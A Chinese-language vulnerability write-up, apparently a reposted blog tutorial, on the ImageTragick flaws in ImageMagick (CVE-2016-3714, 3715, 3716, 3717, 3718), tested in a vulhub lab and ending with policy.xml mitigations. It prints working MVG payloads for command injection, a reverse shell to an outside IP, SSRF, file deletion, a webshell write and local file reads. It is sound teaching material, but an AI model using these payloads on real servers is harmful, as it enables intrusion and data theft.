Imagetragick 命令執行漏洞(CVE-2016–3714)


Imagetragick介紹:

ImageMagick是一款使用量很廣的圖片處理程序,很多廠商都調用了這個程序進行圖片處理,包括圖片的伸縮、切割、水印、格式轉換等等。
但近來有研究者發現,當用戶傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入漏洞。

命令執行漏洞是出在 ImageMagick 對 https 形式的文件處理的過程中。

ImageMagick 之所以支持那么多的文件格式, 是因為它內置了非常多的圖像處理庫, 對於這些圖像處理庫, ImageMagick 給它起了個名字叫做”Delegate”(委托), 每個 Delegate 對應一種格式的文件, 然后通過系統的 system() 命令來調用外部的 lib 進行處理。調用外部 lib 的過程是使用系統的 system 命令來執行的,導致命令執行的代碼。

ImageMagick 委托的默認配置文件: /etc/ImageMagick/delegates.xml,類似以下這種定義格式:

比如針對https是的delegate如下所示:

wget"-q -O"%o""https:%M

實際上的command中的%m意思是輸入的 url 地址,但是由於只是做了簡單的字符串拼接, 沒有做任何過濾,直接拼接到 command 命令中,可以將引號閉合后通過 "|",”`”,”&” 等帶入其他命令, 也就形成了命令注入

比如傳入以下代碼:

https://example.com"|ls"-al

將形成:

"wget" -q -O "%o" "https://example.com"|ls "-al"

這樣將成功執行命令。

用vulhub上的環境進行測試,vul.jpg的內容如下:

push 和 pop 是用於堆棧的操作,一個進棧,一個出棧;
viewbox 是表示 SVG 可見區域的大小,或者可以想象成舞台大小,畫布大小。簡單理解就是根據后面得參數選取其中得一部分畫面;
fill url() 是把圖片填充到當前元素內;
在其中我們使用了 fill url() 的形式調用存在漏洞的 https delegate, 當 ImageMagick 去處理這個文件時, 漏洞就會被觸發。

以上是對payload的解釋

ImageMagick 默認支持一種圖片格式,叫 mvg,而 mvg 與 svg 格式類似,其中是以文本形式寫入矢量圖的內容,
允許在其中加載 ImageMagick 中其他的delegate(比如存在漏洞的 https delegate)。並且在圖形處理的過程中,
ImageMagick 會自動根據其內容進行處理, 也就是說我們可以將文件隨意定義為 png、jpg 等網站上傳允許的格式, 這大大增加了漏洞的可利用場景。

這里我們直接通過反引號來執行了命令

也可以更改payload用來反彈shell:

image over這個payload彈shell和curl貌似不能回顯命令的執行結果,得換個payload:

nc.png內容為:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/45.xxx.xxx.23/2233 0>&1")'
pop graphic-context

其他幾個相關CVE的poc:

CVE-2016-3718

利用mvg格式中可以包含url的特點,進行SSRF攻擊,POC如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

CVE-2016-3715

利用ImageMagick支持的ephemeral協議,來刪除任意文件:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

CVE-2016-3716

利用ImageMagick支持的msl協議,來進行文件的讀取和寫入。利用這個漏洞,可以將任意文件寫為任意文件,比如將圖片寫為一個.php后綴的webshell。

file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

CVE-2016-3717

可以造成本地文件讀取漏洞:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/hosts'
pop graphic-context

PHP擴展『ImageMagick』也存在這個問題,而且只需要調用了Imagick類的構造方法,即可觸發這個漏洞,poc與上面說的一樣。

<?php
new Imagick('vul.gif');

這里因為命令結果是不回顯的,所以需要帶外信道,比如ceye

修復:

1.升級或使用php的GD庫

2.使用policy file來防御這個漏洞,這個文件默認位置在 /etc/ImageMagick/policy.xml ,我們通過配置如下的xml來禁止解析https等敏感操作:

<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap> 

參考:

https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM